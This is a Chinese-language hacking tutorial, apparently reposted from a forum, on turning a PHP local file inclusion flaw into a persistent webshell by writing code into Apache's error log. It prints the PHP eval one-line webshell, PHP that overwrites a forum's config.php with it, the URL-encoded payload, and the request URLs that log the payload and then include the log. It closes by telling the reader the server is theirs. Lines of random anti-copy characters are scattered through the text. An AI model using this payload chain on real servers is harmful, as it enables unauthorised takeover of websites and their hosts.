php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
2 \3 m; B2 {" v9 G% Q3 C6 v
比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
6 ?1 ^+ m. r: a" m5 u! a" f
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
/ w% H8 ^  u5 x1 xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

" _1 S+ g1 X: ^" l6 u: Y( a<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

. _- g$ w' O- }/ o5 `" F1 ?, N: O6 O我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
. D1 w7 |/ s$ p4 f: P6 L转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
+ B0 |8 ^$ F' h: D( B; q我们提交
# @4 T' K  w- S# J  p6 I( `http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
. o' x. m7 x. l) l& H# \%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
" T+ }& ?) M8 g/ J3 F2 m: L%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ [) d6 {5 r' h/ ncmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
% N: N; A, j; V0 C& x9 }5 t7 O
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
( }8 P9 p5 a) E: s! k& E# Q
2 V& \& |$ z9 h9 ^! Q' K* t这样webshell就写入成功了，config.php里就写入一句木马语句
% B3 `$ W- U' i. xOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
